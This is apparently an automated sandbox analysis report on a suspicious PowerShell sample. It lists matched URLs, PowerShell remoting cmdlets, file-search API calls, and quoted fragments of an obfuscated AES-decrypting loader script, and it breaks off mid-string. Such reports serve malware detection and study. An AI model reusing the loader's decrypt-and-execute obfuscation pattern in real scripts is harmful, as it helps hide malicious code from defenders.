"http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "http://www.microsoft.com0" Pattern match: "www.digicert.com1!0" Heuristic match: "rust.net" Pattern match: "cert.startcom.org/policy.pdf05" Pattern match: "www.digio" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "http://www.microsoft.com/windows" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Heuristic match: "soft.net" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "orlib.ni" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "15.cat" Heuristic match: "ion.re" Heuristic match: "c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Heuristic match: "ers\hapubws\appdata\local\temp\__psscriptpolicytest_euatbvhg.zz0.ps" Heuristic match: "xe;.ba" Pattern match: "http://www.microsoft.com/windows0" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Pattern match: "microsoft.net/assembly/gac_64/mscorlib/v4.0_4.0.0.0__b77a5c561934e089/mscorlib.dll" Pattern match: "http://go.microsoft.com/fwlink/?linkid=42127" Heuristic match: ".bat;.ck" Heuristic match: "nt.aw" Pattern match: "http://crl.globalsign" Pattern match: "otrust.com/resources/cps0" Pattern match: "http://cn" Heuristic match: "ement.au" Pattern match: "www.microsoft.com" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23" Pattern match: "www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "http://www.microsoft.com/pki/certr/" Pattern match: "t.com/pk"4f:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp")50:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00007840) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00007840) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00007840) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00007840) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00007840) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00007840) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00007840) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00007840) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00007840) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00007840) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00007840) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00007840) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00007840) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00007840) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00007840) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00007840) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00007840) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00007840) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00007840) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00007840)51:T1879,file/memory contains long string with (Indicator: "aes"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") file/memory contains long string with (Indicator: "createdecryptor"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") file/memory contains long string with (Indicator: "System.Security.Cryptography"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") file/memory contains long string with (Indicator: "aes"; File: "svc_2842731493_26626.ps1") file/memory contains long string with (Indicator: "createdecryptor"; File: "svc_2842731493_26626.ps1") file/memory contains long string with (Indicator: "System.Security.Cryptography"; File: "svc_2842731493_26626.ps1") Found string "$lvhcwjx=[System.Security.Cryptography.Aes]::Create()" (Indicator: "aes"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "$lvhcwjx=[System.Security.Cryptography.Aes]::Create()" (Indicator: "System.Security.Cryptography"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "$lvhcwjx.Mode=[System.Security.Cryptography.CipherMode]::CBC" (Indicator: "System.Security.Cryptography"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "$lvhcwjx.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7" (Indicator: "System.Security.Cryptography"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "$lvq2zwaexi=$lvhcwjx.CreateDecryptor().TransformFinalBlock($lvwat8cmr,0,$lvwat8cmr.Length)" (Indicator: "createdecryptor"; File: "e25aadf33d28b4ca41c1df2dcded13d35894919256b7fabf3209ae8168803da5.bin") Found string "Switch.System.Security.Cryptography.DoNotAddrOfCspParentWindowHandle" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "Switch.System.Security.Cryptography.UseLegacyFipsThrow" (Indicator: "System.Security.Cryptography"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "base64"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "$encodedCommand = [Convert]::ToBase64String($bytes)" (Indicator: "ToBase64String"; Source: "00000000-00007712.00000000.156396.03960000.00000004.mdmp") Found string "[-WindowStyle